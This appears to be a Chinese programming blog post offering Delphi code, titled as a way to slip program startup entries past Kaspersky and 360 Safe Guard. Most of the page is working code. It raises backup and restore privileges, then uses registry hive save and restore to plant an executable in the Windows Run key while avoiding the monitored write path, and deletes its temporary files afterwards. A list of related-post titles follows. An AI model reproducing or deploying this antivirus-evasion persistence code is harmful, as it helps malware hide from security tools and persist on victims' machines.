写程序启动项时如何过卡巴与360安全卫士等软件的方法
procedure SetPrivilege;
const
ADJUST_PRIV = TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES;
SHTDWN_PRIV = 'SeBackupPrivilege';
//SeBackupPrivilege 备份文件和目录。
//允许用户绕过文件和目录的权限来做备份。只有当应用程序尝试访问NTFS备份API时才检查这个特
//权。默认情况下,这个特权分配给Administrators和Backup Operators。
PRIV_SIZE = sizeOf(TTokenPrivileges);
var
TokenPriv, Dummy: TTokenPrivileges;
Token: THandle;
Len: DWORD;
begin
OpenProcessToken(GetCurrentProcess(), ADJUST_PRIV, Token);
LookupPrivilegeValue(nil, SHTDWN_PRIV, TokenPriv.Privileges[0].Luid);
TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
TokenPriv.PrivilegeCount := 1;
AdjustTokenPrivileges(Token, false, TokenPriv, PRIV_SIZE, Dummy, Len);
end;
procedure SetPrivilege2;
var
TPPrev, TP: TTokenPrivileges;
TokenHandle: THandle;
dwRetLen: DWORD;
lpLuid: TLargeInteger;
begin
OpenProcessToken(GetCurrentProcess, TOKEN_ALL_ACCESS, TokenHandle);
if (LookupPrivilegeValue(nil, 'SeRestorePrivilege', lpLuid)) then
//SeRestorePrivilege
//恢复文件和目录。
//允许用户绕过文件及目录权限来恢复备份文件。默认情况下Administrators和Backup
begin
TP.PrivilegeCount := 1;
TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
TP.Privileges[0].Luid := lpLuid;
AdjustTokenPrivileges(TokenHandle, False, TP, SizeOf(TPPrev), TPPrev, dwRetLen);
end;
CloseHandle(TokenHandle);
end;
function addreg(key: Hkey; subkey, name, value: string): boolean;
var
regkey: hkey;
begin
result := false;
RegCreateKey(key, PChar(subkey), regkey);
if
RegSetValueEx(regkey, Pchar(name), 0, REG_EXPAND_SZ, pchar(value), length(value))
= 0 then
result := true;
RegCloseKey(regkey);
end;
function SaveKey2(key: integer; subkey, filename: string): Boolean;
var
SKey: HKEY;
begin
SetPrivilege;
Result := false;
if key = 1 then begin
RegOpenKey(HKEY_CURRENT_USER, PChar(subkey), SKey);
end
else
begin
RegOpenKey(HKEY_LOCAL_MACHINE, PChar(subkey), SKey);
end;
if SKey <> 0 then
try
Result := (RegSaveKey(SKey, PChar(FileName), nil) = ERROR_SUCCESS);
finally
RegCloseKey(SKey);
end;
end;
procedure regstore2(key: integer; subkey, hfile: string);
var
key2: hkey;
begin
SetPrivilege2;
if key = 1 then
begin
RegOpenKey(HKEY_CURRENT_USER, PChar(subkey), key2)
end
else begin
RegOpenKey(HKEY_LOCAL_MACHINE, PChar(subkey), key2);
end;
if key2 <> 0 then RegRestoreKey(key2, PChar(hfile), 8);
RegCloseKey(key2);
end;
procedure regstore(exefile: string);
var
key: HKEY;
I: Integer;
begin
SaveKey2(2, PChar('SOFTWARE/Microsoft/Windows/CurrentVersion/Run'), 'c:/1.abc');
RegCreateKey(HKEY_CURRENT_USER, PChar('Software/fengzi'), key);
for i := 1 to 5 do
regstore2(1, 'Software/fengzi', 'c:/1.abc');
addreg(HKEY_CURRENT_USER, 'Software/fengzi', 'IeServer', exefile);
SaveKey2(1, PChar('Software/fengzi'), 'c:/2.abc');
for i := 1 to 5 do
regstore2(2, PChar('SOFTWARE/Microsoft/Windows/CurrentVersion/Run'), 'c:/2.abc');
RegDeleteKey(HKEY_CURRENT_USER, 'Software/fengzi');
RegCloseKey(key);
DeleteFile('c:/1.abc');
DeleteFile('c:/2.abc');
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
regstore('c:/1.exe');
end;
写程序启动项时如何过卡巴与360安全卫士等软件的方法相关推荐
- Linux菜单栏添加程序启动项
系统程序启动项以.desktop文件形式存存储于/usr/share/applications/.例如: /usr/share/applications/firefox.desktop 内容如下 ...
- Ubuntu 12.04 创建应用程序启动项(可在Unity LaucherPad显示)
具体步骤: Setp1: sudo gedit eclipse.desktop // eclipse为应用程序名,应用程序启动项的后缀名为.desktop Step2: 在上一步打开的eclips ...
- 天正启动时加载那些lisp_天正启动时加载那些lisp_启动CAD时自动加载Lisp的工具和插件的方法?...
互联网上有许多非常有用的CAD插件,可以为绘图带来很多便利. 这些工具可以在手动加载后执行,但是每次使用它们都麻烦. 启动软件时,您可以加载常用插件吗? 当然,有不止一种方法. 方法1:添加到启动组 ...
- 天正启动时加载那些lisp_启动CAD时自动加载Lisp的工具和插件的方法?
互联网上有许多非常有用的CAD插件,可以为绘图带来很多便利. 这些工具可以在手动加载后执行,但是每次使用它们都麻烦. 启动软件时,您可以加载常用插件吗? 当然,有不止一种方法. 方法1:添加到启动组 ...
- 启动mysql时显示:/tmp/mysql.sock 不存在的解决方法
启动mysql时显示:/tmp/mysql.sock 不存在的解决方法 参考文章: (1)启动mysql时显示:/tmp/mysql.sock 不存在的解决方法 (2)https://www.cnbl ...
- win7关闭开机启动项_电脑开机非常慢?原来是有软件偷偷自启动,教你一招彻底关闭它们...
不知道你们的电脑是不是也会这样,每次刚刚开机的时候,电脑都会非常卡,你点那里都没反应,如果电脑配置差一些,甚至需要过好一会才能进行操作.那么为什么会出现这种情况呢?又该如何解决呢?今天小源来告诉你答案 ...
- 程序启动报错:ORA-12505;PL/SQL却可以登录的解决方法
程序启动报错:ORA-12505;PL/SQL却可以登录的解决方法 参考文章: (1)程序启动报错:ORA-12505;PL/SQL却可以登录的解决方法 (2)https://www.cnblogs. ...
- C++ 写开机启动项的注册表
BOOL SetAutoRun(CString strPath)//开机自动运行 { CString str; HKEY hRegKey; BOOL bResult; str=_T("Sof ...
- 修改注册表设置程序启动项
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\R ...
最新文章
- 如何管理好自己的性格?
- 笔记 JVM调优流程
- 2019人工智能的“领头羊”会是?
- justify-content与align-items解析
- T-SQL自定义函数返回前一天或后一天日期
- weblogic管理2 - 创建并启动一个managed server
- mongoDB研究笔记:分片集群的工作机制
- gzip android,怎么在Android系统中使用gzip进行数据传递
- 【POJ 2942】Knights of the Round Table(点双连通分量,二分图染色)
- C# 代码中调用 Javascript 代码段以提高应用程序的配置灵活性(使用 Javascript .NET 与 Jint)...
- ImageSharp一个专注于NetCore平台图像处理的开源项目
- python中lines是什么类型_Python中splitlines()方法的使用简介
- 【转载】使用缓存的9个误区(上)
- 【Java并发编程的艺术】第二章读书笔记之原子操作
- Android 友盟分享(截图指定的View分享)
- 易读文库下载器1.2版发布
- 公元纪年法(儒略历-格里高历)转儒略日
- win7资源管理器总是崩溃
- 第一讲:计算机基本结构
- NetSuite 未实现汇兑损益